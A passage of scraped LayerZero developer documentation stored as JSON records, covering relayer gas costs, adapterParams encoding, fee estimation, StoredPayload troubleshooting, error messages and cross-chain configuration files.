------------- | --------------- | ------------- Arbitrum Block hash: 0x1e8b8bbfbe043c6514ca0d059a488edbdd5af94f18976ac9f3960b9a818ab623 Transactions: 1 arbiscan link: https://arbiscan.io/block/6197283 -------------------------------- | --------------------------- | ------------- | ----------------------------- | Solc version: 0.7 .6 Optimizer enabled: true Runs: 200 Block limit: 10000000 gas | | | | Methods | | | | | | | Contract Method Min Max Avg # calls usd (avg) | | | | | | | ProverMock verifyReceipt - - 52340 1 - | | | | | | | Deployments % of limit | | | | | | ProverMock - - 1052934 10.5 % - -------------------------------- | ------------- | ------------- | ------------- | --------------- | ------------- Block hash: 0x439d1377c0bfba294a07f720be1b0958c64d33f1d9c471f0ef6d17fcb813e7b2 Transactions: 2 arbiscan link: https://arbiscan.io/block/6197266 -------------------------------- | --------------------------- | ------------- | ----------------------------- | Solc version: 0.7 .6 Optimizer enabled: true Runs: 200 Block limit: 10000000 gas | | | | Methods | | | | | | | Contract Method Min Max Avg # calls usd (avg) | | | | | | | ProverMock verifyReceipt 60769 73201 66985 2 - | | | | | | | Deployments % of limit | | | | | | ProverMock - - 1052934 10.5 % - -------------------------------- | ------------- | ------------- | ------------- | --------------- | ------------- Block hash: 0xa31ad5e12ac1715b23f353012c1511cbf4c6be57bedf1d3d5e6e9faafee71494 Transactions: 3 arbiscan link: https://arbiscan.io/block/6196951 -------------------------------- | --------------------------- | ------------- | ----------------------------- | Solc version: 0.7 .6 Optimizer enabled: true Runs: 200 Block limit: 10000000 gas | | | | Methods | | | | | | | Contract Method Min Max Avg # calls usd (avg) | | | | | | | ProverMock verifyReceipt 59129 79875 72960 3 - | | | | | | | Deployments % of limit | | | | | | ProverMock - - 1052934 10.5 % - -------------------------------- | ------------- | ------------- | ------------- | --------------- | ------------- Block hash: 0x0def97133f0006e041209c721e998ad499121f9e8bd455533cdda69b5965b8fe Transactions: 11 arbiscan link: https://arbiscan.io/block/6196815 -------------------------------- | --------------------------- | ------------- | ----------------------------- | Solc version: 0.7 .6 Optimizer enabled: true Runs: 200 Block limit: 10000000 gas | | | | Methods | | | | | | | Contract Method Min Max Avg # calls usd (avg) | | | | | | | ProverMock verifyReceipt 81024 171918 99101 11 - | | | | | | | Deployments % of limit | | | | | | ProverMock - - 1052934 10.5 % - -------------------------------- | ------------- | ------------- | ------------- | --------------- | ------------- Block hash: 0xf119aefaccea7323a8faafd76706b22fd612b23a68a56a2a6ecc2fe5df27c9dc Transactions: 5 arbiscan link: https://arbiscan.io/block/6196814 -------------------------------- | --------------------------- | ------------- | ----------------------------- | Solc version: 0.7 .6 Optimizer enabled: true Runs: 200 Block limit: 10000000 gas | | | | Methods | | | | | | | Contract Method Min Max Avg # calls usd (avg) | | | | | | | ProverMock verifyReceipt 125488 173074 152762 5 - | | | | | | | Deployments % of limit | | | | | | ProverMock - - 1052934 10.5 % - -------------------------------- | ------------- | ------------- | ------------- | --------------- | ------------- Optimism N/A Fantom N/A Previous LayerZero Relayer Next - Ecosystem Oracle Last modified 4mo ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Overview", - "html_url": "https://layerzero.gitbook.io/docs/ecosystem/relayer/overview", - "body": "Overview Scope of Work Relay proof across chains, and pay the cost for lzReceive execution. Gas Composition The receiving side smart contract overhead + proof cost + lzReceive. Plus, the gas varies from chain to chain. lzReceive we will have a default configuration per chain: Text Overhead Max Proof Cost (Estimate) default lzReceive Ethereum 240303 Avalanche 265574 BSC 283471 Polygon 341630 Arbitrum 173074 Optimism N/A Fantom Need Valid RPC Market Risk Charging native token A at the source chain, but paying native token B at the destination chain. The business itself is long A / short B, can hedge the market risk with short A / long B in exchanges, or balance the book timely. Ecosystem - Previous Relayer Next Develop a Relayer Last modified 1mo ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Development Staging", - "html_url": "https://layerzero.gitbook.io/docs/evm-guides/advanced/development-staging", - "body": "Development Staging Local Use Endpoint Mock Use the endpoint mock to locally test your app logic fully. The mock gives you an abstraction of LayerZero messaging behavior and allows you to focus on your domain logic. Portable Configuration LayerZero assumes contracts on different chains whitelist the counterparts on the other chains. An N-chain UA would need to wire N^2 paths accurately. If the app has multiple configurations for each path, e.g. token swap, it will be even harder. The problem will compound if the UA needs to add new chains (worse if with different runtimes like EVM and Solana contracts). It is very important for your configuration script unit-testable and portable to production. Testnet Smoke-Test Your Deployment After your deployment and configuration, you should do a quick smoke test to test whether message pathways are properly wired before shipping to production. Mainnet If you are doing everything right in the Testnet stage, Mainnet should just be repeating the process but with more caution. Good luck with the launch! EVM Guides - Previous Advanced Next Relayer Adapter Parameters Last modified 1yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "NonblockingLzApp", - "html_url": "https://layerzero.gitbook.io/docs/evm-guides/advanced/nonblockinglzapp", - "body": "NonblockingLzApp As mentioned in the Message Ordering section, the Endpoint will catch any unhandled error/exception from the downstream UA and block the message queue from the source contract at the source chain to all destination contracts at the destination chain, until the stored message has been retried successfully. However, UA can write a nonblocking receiver as a proxy layer to try-catch all errors/exceptions locally for future retry so that the message queue at the destination LayerZero Endpoint will never be blocked. We provide a NonblockingLzApp abstract contract as a template contract for UAs to build on. UAs simply need to inherit the class and override the _LzReceive internal function. Be sure to setTrustedRemote() to enable inbound communication on all contracts! solidity-examples/NonblockingLzApp.sol at main LayerZero-Labs/solidity-examples GitHub Previous Relayer Adapter Parameters Next - EVM Guides UA Custom Configuration Last modified 4mo ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Relayer Adapter Parameters", - "html_url": "https://layerzero.gitbook.io/docs/evm-guides/advanced/relayer-adapter-parameters", - "body": "Relayer Adapter Parameters Advanced relayer usage, and usage of _adapterParams Looking to Airdrop native gas tokens on a destination chain? Abstract: Every transaction costs a certain amount of gas. Since LayerZero delivers the destination transaction when a message is sent it must pay for that destination gas. A default of 200,000 gas is priced into the call for simplicity. As a message sender, your contract may use more or less than 200k on destination. To instruct LayerZero to use a custom amount of gas, you must pass the adapterParams argument of send() or estimateFees() Version 1 - Example: You want to call estimateFees() and get a quote for a custom gas amount. Description Type Example Value version uint16 1 value uint256 200000 Encode the adapterParams and use them in the send() or estimateFees() function call: Heres an example of how to encode the adapterParams // v1 adapterParams, encoded for version 1 style, and 200k gas quote let adapterParams = ethers . utils . solidityPack ( [ 'uint16' , 'uint256' ], [ 1 , 200000 ] ) The resulting adapterParams should look like this (34 total bytes in length): 0x00010000000000000000000000000000000000000000000000000000000000030d40 The above adapterParams can be sent to send() (or estimateFees() ) to receive a quote for a non-standard amount of gas for the destination lzReceive() . If your logic on the destination chain is very simple you may ask the Relayer to pay a bit less than the default. If your message logic on the destination is very gas intense you may be required to pay more than the default of 200k gasLimit. Airdrop Version 2 - Here is an example of how to encode the adapterParams for version 2, which may modify the default 200k gas, and instruct the Relayer to send native gas into a wallet address! Description Type Example Value version uint16 2 gasAmount uint 200000 nativeForDst uint 55555555555 addressOnDst address 0x1234512345123451234512345123451234512345 // v2 adapterParams, encoded for version 2 style // which can instruct the LayerZero message to give // destination 55555555555 wei of native gas into a specific wallet let adapterParams = ethers . utils . solidityPack ( [ \"uint16\" , \"uint\" , \"uint\" , \"address\" ], [ 2 , 200000 , 55555555555 , \"0x1234512345123451234512345123451234512345\" ] ) The above adapterParams can be sent to send() or estimateFees() to receive a quote for a non-standard amount of gas for the destination lzReceive() and to give an amount of destination native gas to an address! // airdrop caps out at these values, per network (values shown imply 18 decimals) // Note: these values may change occasionally. Read onchain values in Relayer.sol for accuracy. ethereum : 0.24 bsc : 1.32 avalanche : 18.47 polygon : 681 arbitrum : 0.24 optimism : 0.24 fantom : 1304 swimmer : 30000 Previous Development Staging Next NonblockingLzApp Last modified 6d ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Estimating Message Fees", - "html_url": "https://layerzero.gitbook.io/docs/evm-guides/code-examples/estimating-message-fees", - "body": "Estimating Message Fees Get the quantity of native gas token to pay to send a message Call estimateFees() to return a tuple containing the cross chain message fee. There are 2 values returned as a tuple via estimateFees(). Use the 0th index to get the fee in wei to pass as value to Endpoint.send() You do not need to implement this function. This is just to show how the fee is calculated by the endpoint for the send() function. The estimateFees() function returns a dynamic fee based on Oracle and Relayer prices for the destination chainId, your UserApplication contract, and payload parameters. In solidity, you can use the ILayerZeroEndpoint.sol interface to call the view function to get the send() fees. Endpoint estimateFees() Set _payInZRO to false // Endpoint.sol estimateFees() returns the fees for the message function estimateFees ( uint16 _dstChainId , address _userApplication , bytes calldata _payload , bool _payInZRO , bytes calldata _adapterParams ) external view override returns ( uint nativeFee , uint zroFee ) { LibraryConfig storage uaConfig = uaConfigLookup [ _userApplication ]; ILayerZeroMessagingLibrary lib = uaConfig . sendVersion == DEFAULT_VERSION ? defaultSendLibrary : uaConfig . sendLibrary ; return lib . estimateFees ( _dstChainId , _userApplication , _payload , _payInZRO , _adapterParams ); } Our implementation of lib.estimateFees() illustrates how the total fee is calculated, which is the cumulative amount the oracle and relayer are collecting plus, potentially, a small protocol fee. // full estimateFees implementation function estimateFees ( uint16 _chainId , address _ua , bytes calldata _payload , bool _payInZRO , bytes calldata _adapterParams ) external view override returns ( uint nativeFee , uint zroFee ) { uint16 chainId = _chainId ; address ua = _ua ; uint payloadSize = _payload . length ; bytes memory adapterParam = _adapterParams ; ApplicationConfiguration memory uaConfig = getAppConfig ( chainId , ua ); // Relayer Fee uint relayerFee ; { if ( adapterParam . length == 0 ) { bytes memory defaultAdapterParam = defaultAdapterParams [ chainId ][ uaConfig . outboundProofType ]; relayerFee = ILayerZeroRelayer ( uaConfig . relayer ). getPrice ( chainId , uaConfig . outboundProofType , ua , payloadSize , defaultAdapterParam ); } else { relayerFee = ILayerZeroRelayer ( uaConfig . relayer ). getPrice ( chainId , uaConfig . outboundProofType , ua , payloadSize , adapterParam ); } } // Oracle Fee uint oracleFee = ILayerZeroOracle ( uaConfig . oracle ). getPrice ( chainId , uaConfig . outboundProofType ); // LayerZero Fee { uint protocolFee = treasuryContract . getFees ( _payInZRO , relayerFee , oracleFee ); _payInZRO ? zroFee = protocolFee : nativeFee = protocolFee ; } // return the sum of fees nativeFee = nativeFee . add ( relayerFee ). add ( oracleFee ); } Offchain Fee Estimation Example const fees = await endpoint . estimateFees ( dstChainId , // the destination LayerZero chainId uaContractAddress , // your contract address that calls Endpoint.send() \"0x\" , // empty payload false , // _payInZRO \"0x\" // default '0x' adapterParams, see: Relayer Adapter Param docs ) console . log ( ` fees[0] is the message fee in wei: ${ fees [ 0 ] } ` ) Check out adapterParams to customize the gas amount or airdrop native ETH! AdapterParams shows how to pack some additional settings to be used by estimateFees() and send() - it instructs LayerZero to use more gas which may be necessary to not run into a StoredPayload . Previous LZEndpointMock.sol Next PingPong.sol Last modified 4mo ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "LZEndpointMock.sol", - "html_url": "https://layerzero.gitbook.io/docs/evm-guides/code-examples/lzendpointmock.sol", - "body": "LZEndpointMock.sol A mock LayerZero endpoint contract for local testing. To enable testing locally we provide a mock that emulates a real endpoint. It has a send() method just like a real endpoint on main/test networks and it forwards the payload straight to the lzReceive() function (so you dont need a production oracle or relayer -- allowing you to test the contract logic easily). This contract helps the LayerZero team with our own testing! https://github.com/LayerZero-Labs/solidity-examples/blob/main/contracts/lzApp/mocks/LZEndpointMock.sol Previous OmniCounter.sol Next Estimating Message Fees Last modified 21d ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "OmniCounter.sol", - "html_url": "https://layerzero.gitbook.io/docs/evm-guides/code-examples/messagecounter.sol", - "body": "OmniCounter.sol A LayerZero User Application example to demonstrate message sending. The OmniCounter OmniCounter is a contract that increments a counter -- but there's a twist. This OmniCounter increments the counter on another chain. The Details To send cross chain messages, contracts will use an endpoint to send() from the source chain and lzReceive() to receive the message on the destination chain. Here you may find a table of the Testnet Endpoints . OmniCounter.sol can send and receive LayerZero messages. Let's highlight the two important features of this contract: _lzSend() is overridden and called within incrementCounter() to send the message to another chain. _nonblockingLzReceive() is overridden and it will be called on the destination chain which receives the message when receiving a message. If you want to deploy and try this contract yourself you will need to construct it with an Endpoint address . And will need the two interfaces . solidity-examples/OmniCounter.sol at main LayerZero-Labs/solidity-examples GitHub Take a look at the simplest usage of LayerZero: the OmniCounter If you want to copy this code, follow the link above to github! Clone the github repo, take a look at the README, and deploy your own OmniCounters. If you were to deploy this contract, you would need to do so on at least 2 chains. Once deployed, call incrementCounter to increment the counter on a destination chain! EVM Guides - Previous Code Examples Next LZEndpointMock.sol Last modified 1yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "PingPong.sol", - "html_url": "https://layerzero.gitbook.io/docs/evm-guides/code-examples/pingpong.sol", - "body": "PingPong.sol Demonstrate an onchain call to estimateFees() and a \"recursive\" call within lzReceive() This example contract demonstrates: estimateFees() : how to get the message fee on chain call send() within lzReceive() using a contract to pay the message fee (as opposed to the msg.sender) Warning: This contract will continuously send calls between two chains until one of them runs out of gas! solidity-examples/PingPong.sol at main LayerZero-Labs/solidity-examples GitHub PingPong.sol Previous Estimating Message Fees Next - EVM Guides Error Messages Last modified 21d ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Common Errors and Handling", - "html_url": "https://layerzero.gitbook.io/docs/evm-guides/error-messages/error-layerzero-relayer-fee-failed", - "body": "Common Errors and Handling The most common error is not sending the gas fee when calling send(..., {value: fee}) Are you getting this error when sending a message ? LayerZero: not enough native for fees When sending a message via the endpoint send() you must pass a value so LayerZero is compensated for the extra gas required to deliver the transaction to the destination chain. This msg.value refers to the parameter of the transaction that sends the native gas token. The parameters for estimateFees() and send() MUST be the same Rule of Thumb: if you have an estimateFee value that works, try to send a transaction with (value - 1). it should revert. You can get a quote for any LayerZero message. Previous Fix a StoredPayload Next Failure Revert Messages Last modified 4mo ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Failure Revert Messages", - "html_url": "https://layerzero.gitbook.io/docs/evm-guides/error-messages/failure-revert-messages", - "body": "Failure Revert Messages A full description of the errors found in LayerZero contracts LayerZero: only endpoint Only the endpoint can be the caller of the function. LayerZero: invalid relayer Relayer delivering the message is NOT the relayer the UA has configured. LayerZero: invalid inbound proof library User Application has configured an invalid proof library version for remote chainId LayerZero: not enough block confirmations During message delivery, the Oracle didnt wait enough block confirmations as specified by the UA. LayerZero: _packet.ulnAddress is invalid Invalid source sender of the message. LayerZero: invalid dst address The LayerZero message specifies a different destination contract address than the relayer. LayerZero: must be paid by sender or origin Endpoint.send() was flagged to be paid in tokens, but the address is invalid. LayerZero: not enough native for fees User Application needs to send more msg.value (see: Endpoint.estimateFees()) LayerZero: failed to refund The specified _refundAddress is not payable, or invalid. (Try sending the exact amount) LayerZero: oracle data can only update if it has more confirmations The Oracle tried to update the data, but it was identical to what already existed. LayerZero: invalid inbound proof library version setConfig() cannot set the specified inbound proof library version LayerZero: invalid outbound proof type setConfig() cannot set the specified outbound proof type LayerZero: Invalid config type setConfig() does not know how to set this value LayerZero: only treasury withdrawZRO() called by invalid address LayerZero: only relayerFee contract Only a certain address can call withdraw on the UltraLightNode LayerZero: unsupported withdraw type withdrawZRO() called with invalid type Previous Common Errors and Handling Next - EVM Guides Best Practice Last modified 1yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Fix a StoredPayload", - "html_url": "https://layerzero.gitbook.io/docs/evm-guides/error-messages/fix-a-storedpayload", - "body": "Fix a StoredPayload Manually fix a StoredPayload by sending a transaction on the destination chain. A StoredPayload contains the data for a message that ran out of gas (most likely) In order to deliver this message, once its stored, you must call a transaction on the Endpoint.sol called retryPayload Youll need 3 things: source Chain ID of the chain the message was sent from source UserApplication address UA payload If we refer back to here , we know how to get these 3 items. Or use a block explorer and find the destination trasaction, and look in the Logs tab. The Logs tab of most block explorers shows the StoredPayload event values. You will need the srcChainId, srcAddress, and payload Now we simply need an instance of the Endpoint contract on the destination chain. And to call the transaction, to \"unstick\" the StoredPayload. Heres a code snippet: // some ethers.js code to show how to deliver a StoredPayload let endpoint = await ethers . getContract ( \"Endpoint\" ) let srcChainId = 9 // trustedRemote is the remote + local format let trustedRemote = hre . ethers . utils . solidityPack ( [ 'address' , 'address' ], [ remoteContract . address , localContract . address ] ) let payload = \"0x000000...0000000000\" // copy and paste entire payload here let tx = await endpoint . retryPayload ( srcChainId , trustedRemote , payload ) Thats it! If your transaction succeeds, the StoredPayload should be cleared and messages will resume if you send another message across the pathway. If you get an error about invalid payload, you may have copied it wrong. Be sure to prefix the srcAddress and the payload with 0x so that ethers.js is happy. Previous StoredPayload Detection Next Common Errors and Handling Last modified 4mo ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "StoredPayload", - "html_url": "https://layerzero.gitbook.io/docs/evm-guides/error-messages/storedpayload", - "body": "StoredPayload If a message arrives at the destination and reverts or runs out of gas during execution it is saved on the destination side. Anyone can go to the destination chain and pay for the transaction to be retried, however if there is a logical error it may need to be force ejected. StoredPayloads will block the nonce-ordered flow of messages. You can check for a StoredPayload using the Endpoint.sol's hasStoredPayload function, supplying the source chainId and source User Application address (which is in the TrustedRemote 40byte format). Check for StoredPayload // Endpoint.sol check for StoredPayload function hasStoredPayload ( uint16 _srcChainId , bytes calldata _srcAddress ) external view override returns ( bool ) { StoredPayload storage sp = storedPayload [ _srcChainId ][ _srcAddress ]; return sp . payloadHash != bytes32 ( 0 ); } To clear a StoredPayload, call retryPayload on the message that was stored, on the destination chain. You should call this function on the Endpoint . // Endpoint.sol function retryPayload ( uint16 _srcChainId , bytes calldata _srcAddress , bytes calldata _payload ) external override receiveNonReentrant { ... } Note: most block explorers will show the payload parameter in the Logs tab, which could make it easy to find in the case you need to call retryPayload to unblock the queue. Also, you may implement your UA as the NonblockingLzApp which is an option offered that allows messages to flow regardless of error (which will all be stored on the destination to be dealt with anytime) Force eject the StoredPayload, unblocking the queue by DESTROYING (see: be very careful) the transaction forever. This is a very powerful function, and only the User Application onlyOwner can perform it. // Endpoint.sol function forceResumeReceive ( uint16 _srcChainId , bytes calldata _srcAddress ) external override onlyOwner { Fix a Stored Payload Go here for information on fixing a StoredPayload EVM Guides - Previous Error Messages Next StoredPayload Detection Last modified 3mo ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "StoredPayload Detection", - "html_url": "https://layerzero.gitbook.io/docs/evm-guides/error-messages/storedpayload-detection", - "body": "StoredPayload Detection Find the hidden reason for a StoredPayload What does a StoredPayload look like on chain & How to deal with it If you see a transaction like this, then you may have a StoredPayload: https://optimistic.etherscan.io/tx/0xd3229bfe9bb64425eef6457e1198e7c2d96c3abc1721e2b0846459a291d1ff60 optimistic.etherscan.io Example StoredPayload Tx See the orange text? Although the transaction may say it succeeded, LayerZero may have a StoredPayload blocking the queue of message until dealt with. Go to the \"Logs\" tab to see the reason If there is no reason string, it could be out of gas. If there is a reason copy the bytes into a hex-to-string converter to see the reason (example below): LzReceiver: invalid source sending contract OK! Thats some helpful information - Although we ran into a StoredPayload, we now know the reason: LzReceiver: invalid source sending contract The error reminds us that we must setTrustedRemote first on the destination to allow inbound communication from the source sending User Application contract. Previous StoredPayload Next Fix a StoredPayload Last modified 4mo ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "OFT", - "html_url": "https://layerzero.gitbook.io/docs/evm-guides/layerzero-omnichain-contracts/oft", - "body": "OFT Omnichain Fungible Token Here are the articles in this section: IERC165 OFT Interface Ids OFT (V1) vs OFTV2 - Which should I use? OFT (V1) OFTV2 EVM Guides - Previous LayerZero Omnichain Contracts Next IERC165 OFT Interface Ids Last modified 6d ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "ONFT", - "html_url": "https://layerzero.gitbook.io/docs/evm-guides/layerzero-omnichain-contracts/onft", - "body": "ONFT Omnichain NonFungible Token Here are the articles in this section: 721 1155 Previous OFTV2 Next 721 Last modified 20d ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "UA Configuration", - "html_url": "https://layerzero.gitbook.io/docs/evm-guides/layerzero-tooling/ua-configuration", - "body": "UA Configuration Describes the available config options in the appConfig.json Tasks The package adds the following tasks: getDefaultConfig returns the default configuration for the specified chains. Usage: npx hardhat getDefaultConfig --networks ethereum,bsc,polygon,avalanche getConfig returns the configuration of the specified contract. Parameters: address - the contract address. An optional parameter. Either contract name or contract address must be specified. name - the contract name. An optional parameter. It must be specified only if the contract was deployed using hardhat-deploy and the deployments information is located in the deployments folder. network - the network the contract is deployed to. remote-networks - a comma separated list of remote networks the contract is configured with. Usage: npx hardhat getConfig --network ethereum --remote-networks bsc,polygon,avalanche --name OFT setConfig sets the configuration of the specified contract. Parameters: config-path - the relative path to a file containing the configuration. address - the address of the deployed contracts. An optional parameter. It should be provided if the contract address is the same on all chains. For contracts with different addresses, specify the address for each chain in the config. name - the name of the deployed contracts. An optional parameter. It should be provided only if the same contract deployed on all chains using hardhat-deploy and the deployment information is located in the deployments folder. For contracts with different names, specify the name for each chain in the config. gnosis-config-path - the relative path to a file containing the gnosis configuration. An optional parameter. If specified, the transactions will be sent to Gnosis. Usage: npx hardhat setConfig --networks ethereum,bsc,avalanche --name OFT --config-path \"./appConfig.json\" --gnosis-config-path \"./gnosisConfig.json\" Below is an example of the application configuration { \"ethereum\" : { \"address\" : \"\" , \"name\" : \"ProxyOFT\" , \"sendVersion\" : 2 , \"receiveVersion\" : 2 , \"remoteConfigs\" : [ { \"remoteChain\" : \"bsc\" , \"inboundProofLibraryVersion\" : 1 , \"inboundBlockConfirmations\" : 20 , \"relayer\" : \"0x902F09715B6303d4173037652FA7377e5b98089E\" , \"outboundProofType\" : 1 , \"outboundBlockConfirmations\" : 15 , \"oracle\" : \"0x5a54fe5234E811466D5366846283323c954310B2\" }, { \"remoteChain\" : \"avalanche\" , \"inboundProofLibraryVersion\" : 1 , \"inboundBlockConfirmations\" : 12 , \"relayer\" : \"0x902F09715B6303d4173037652FA7377e5b98089E\" , \"outboundProofType\" : 1 , \"outboundBlockConfirmations\" : 15 , \"oracle\" : \"0x5a54fe5234E811466D5366846283323c954310B2\" } ] }, \"bsc\" : { \"address\" : \"0x0702c7B1b18E5EBf022e17182b52F0AC262A8062\" , \"name\" : \"\" , \"sendVersion\" : 2 , \"receiveVersion\" : 2 , \"remoteConfigs\" : [ { \"remoteChain\" : \"ethereum\" , \"inboundProofLibraryVersion\" : 1 , \"inboundBlockConfirmations\" : 15 , \"relayer\" : \"0xA27A2cA24DD28Ce14Fb5f5844b59851F03DCf182\" , \"outboundProofType\" : 1 , \"outboundBlockConfirmations\" : 20 , \"oracle\" : \"0x5a54fe5234E811466D5366846283323c954310B2\" } ] } } The top level elements represent chains the contracts are deployed to. The configuration section for each chain has the following fields: address - the contract address. An optional parameter. It should be provided if no address was specified in the task parameters. name - the contract name. An optional parameter. It should be provided only if the contract was deployed using hardhat-deploy and the deployment information is located in the deployments folder. sendVersion - the version of a messaging library contract used to send messages. If it isn't specified, the default version will be used. receiveVersion - the version of a messaging library contract used to receive messages. If it isn't specified, the default version will be used. remoteConfigs - an array of configuration settings for remote chains. The configuration section for each chain has the following fields: remoteChain - the remote chain name. inboundProofLibraryVersion - the version of proof library for inbound messages. inboundBlockConfirmations - the number of block confirmations for inbound messages. relayer - the address of Relayer contract. outboundProofType - proof type used for outbound messages. outboundBlockConfirmations - the number of block confirmations for outbound messages. oracle - the address of the Oracle contract. Below is an example of the Gnosis configuration { \"ethereum\" : { \"safeAddress\" : \"0xa36B7e7894aCfaa6c35A8A0EC630B71A6B8A6D22\" , \"url\" : \"https://safe-transaction.mainnet.gnosis.io/\" }, \"bsc\" : { \"safeAddress\" : \"0x4755D44c1C196dC524848200B0556A09084D1dFD\" , \"url\" : \"https://safe-transaction.bsc.gnosis.io/\" }, \"avalanche\" : { \"safeAddress\" : \"0x4FF2C33FD9042a76eaC920C037383E51659417Ee\" , \"url\" : \"https://safe-transaction.avalanche.gnosis.io/\" } } For each chain you need to specify your Gnosis safe address and Gnosis Safe API url. You can find the list of supported chains and API urls in Gnosis Safe documentation . EVM Guides - Previous LayerZero Tooling Next Wire Up Configuration Last modified 21d ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Wire Up Configuration", - "html_url": "https://layerzero.gitbook.io/docs/evm-guides/layerzero-tooling/wire-up-configuration", - "body": "Wire Up Configuration Describes the available config options in the wireUpConfig.json Available configuration options To use the LayerZero wire up configuration please correctly fill in your wireUpConfig.json { \"proxyContractConfig\" : { \"chain\" : \"avalanche\" , \"name\" : \"ProxyOFT\" }, \"contractConfig\" : { \"name\" : \"OFT\" }, \"chainConfig\" : { \"avalanche\" : { \"defaultFeeBp\" : 2 , \"useCustomAdapterParams\" : true , \"remoteNetworkConfig\" : { \"ethereum\" : { \"feeBpConfig\" : { \"feeBp\" : 5 , \"enabled\" : true }, \"minDstGasConfig\" : { \"packetType_0\" : 100000 , \"packetType_1\" : 2000000 } }, \"polygon\" : { \"minDstGasConfig\" : { \"packetType_0\" : 100000 , \"packetType_1\" : 160000 } } } } } } The proxyContractConfig is an optional setting, that defines the proxy chain and proxy contract name. chain : An optional string, defines the proxy chain. name : An optional string, defines the proxy contract name. address : A optional string, defines the contract address. Used when deployments folder are not available. Uses standard LzApp/Nonblocking/OFT/ONFT abi calls such as: function setFeeBp(uint16, bool, uint16) function setDefaultFeeBp(uint16) function setMinDstGas(uint16, uint16, uint) function setUseCustomAdapterParams(bool) function setTrustedRemote(uint16, bytes) The contractConfig is a conditionally required setting, that defines the contract name. name : A conditionally required string, defines the contract name. Used when all contract names are the same on all chains, excluding proxy. The chainConfig : is required and defines the chain settings (default fees, useCustomAdapterParams) and the remote chain configs (minDstGas config based of packetType, and custom feeBP per chain) name : A conditionally required string, defines the contract name. Used when contract names differ per chain. address : A conditionally required string, defines the contract address. Used when deployments folder are not available. Uses standard LzApp/Nonblocking/OFT/ONFT abi calls. defaultFeeBp : An optional number, defines the default fee bp for the chain. (Available in OFTV2 w/ fee .) useCustomAdapterParams : An optional bool that defaults to false . Uses default 200k destination gas on all cross chain messages. When false adapter parameters must be empty. When useCustomAdapterParams is true the minDstGasLookup must be set for each packet type and each chain . This requires whoever calls the send function to provide the adapter params with a destination gas >= amount set for that packet type and that destination chain. The remoteNetworkConfig is a required setting that defines the remote chain configs (minDstGas config based on packetType, and custom feeBP per chain) minDstGasConfig : is an optional object that defines the minDstGas required based off packetType. So for example when the UA on Avalanche sends packet type 0 to Ethereum the minDstGas will be 100000. When the UA on Avalanche sends packet type 1 to Polygon the minDstGas will be 160000. The feeBpConfig is an optional setting that defines custom feeBP per chain. ( Note: setting custom fee per chain with enabled = TRUE, will triumph over defaultFeeBp.) feeBp : is an optional number, defines custom feeBP per chain. enabled : is an optional bool, defines if custom feeBP per chain is enabled Example wireUpConfigs Example 1: { \"contractConfig\" { \"name\" : \"OFT\" }, \"fuji\" : { \"defaultFeeBp\" : 5 , \"useCustomAdapterParams\" : true , \"remoteNetworkConfig\" : { \"arbitrum-goerli\" : { \"minDstGasConfig\" : { \"packetType_0\" : 2000000 , \"packetType_1\" : 3200000 } }, \"bsc-testnet\" : { \"minDstGasConfig\" : { \"packetType_0\" : 100000 , \"packetType_1\" : 160000 } } } } } This configuration is setting a defaultFeeBp of 5 for all transactions on fuji. This configuration is also setting the minDstGasLookup based on packet types. The minDstGasConfig has a length of 2 with the indexes representing the packet type. So for example when the UA on fuji sends packet type 0 to arbitrum-goerli the minDstGas will be 2000000. When the UA on fuji sends packet type 1 to bsc-testnet the minDstGas will be 160000. Example 2: { \"proxyContractConfig\" : { \"chain\" : \"fuji\" , \"name\" : \"ExampleProxyOFTV2\" } \"chainConfig\" : { \"fuji\" : { \"remoteNetworkConfig\" : { \"arbitrum-goerli\" : { \"feeBpConfig\" : { \"enabled\" : true , \"feeBp\" : 2 }, \"minDstGasConfig\" : { \"packetType_0\" : 2000000 , \"packetType_1\" : 3200000 } }, \"bsc-testnet\" : { \"feeBpConfig\" : { \"enabled\" : true , \"feeBp\" : 3 }, \"minDstGasConfig\" : { \"packetType_0\" : 100000 , \"packetType_1\" : 160000 } } } }, \"bsc-testnet\" : { \"name\" : \"BscOFTV2\" , \"remoteNetworkConfig\" : { \"arbitrum-goerli\" : { \"feeBpConfig\" : { \"feeBp\" : 5 , \"enabled\" : true }, \"minDstGasConfig\" : { \"packetType_0\" : 2000000 , \"packetType_1\" : 3200000 } }, \"fuji\" : { \"feeBpConfig\" : { \"feeBp\" : 4 , \"enabled\" : true }, \"minDstGasConfig\" : { \"packetType_0\" : 100000 , \"packetType_1\" : 160000 } } } }, \"arbitrum-goerli\" : { \"name\" : \"ArbitrumOFTV2\" , \"remoteNetworkConfig\" : { \"bsc-testnet\" : { \"feeBpConfig\" : { \"feeBp\" : 1 , \"enabled\" : true }, \"minDstGasConfig\" : { \"packetType_0\" : 100000 , \"packetType_1\" : 160000 } }, \"fuji\" : { \"feeBpConfig\" : { \"feeBp\" : 2 , \"enabled\" : true }, \"minDstGasConfig\" : { \"packetType_0\" : 100000 , \"packetType_1\" : 160000 } } } } } } This configuration uses name per chain because each chain has a different contract name. This configuration is setting a custom bp fee per pathway instead of a defaultFeeBp. Example 3: { \"proxyContractConfig\" : { \"chain\" : \"fuji\" , \"address\" : \"0x0000000000000000000000000000000000000000\" }, \"chainConfig\" : { \"fuji\" : { \"defaultFeeBp\" : 0 , \"useCustomAdapterParams\" : true , \"remoteNetworkConfig\" : { \"bsc-testnet\" : { \"feeBpConfig\" : { \"enabled\" : false , \"feeBp\" : 0 }, \"minDstGasConfig\" : { \"packetType_0\" : 100000 , \"packetType_1\" : 160000 } } } }, \"bsc-testnet\" : { \"address\" : \"0x0000000000000000000000000000000000000000\" , \"defaultFeeBp\" : 0 , \"useCustomAdapterParams\" : true , \"remoteNetworkConfig\" : { \"fuji\" : { 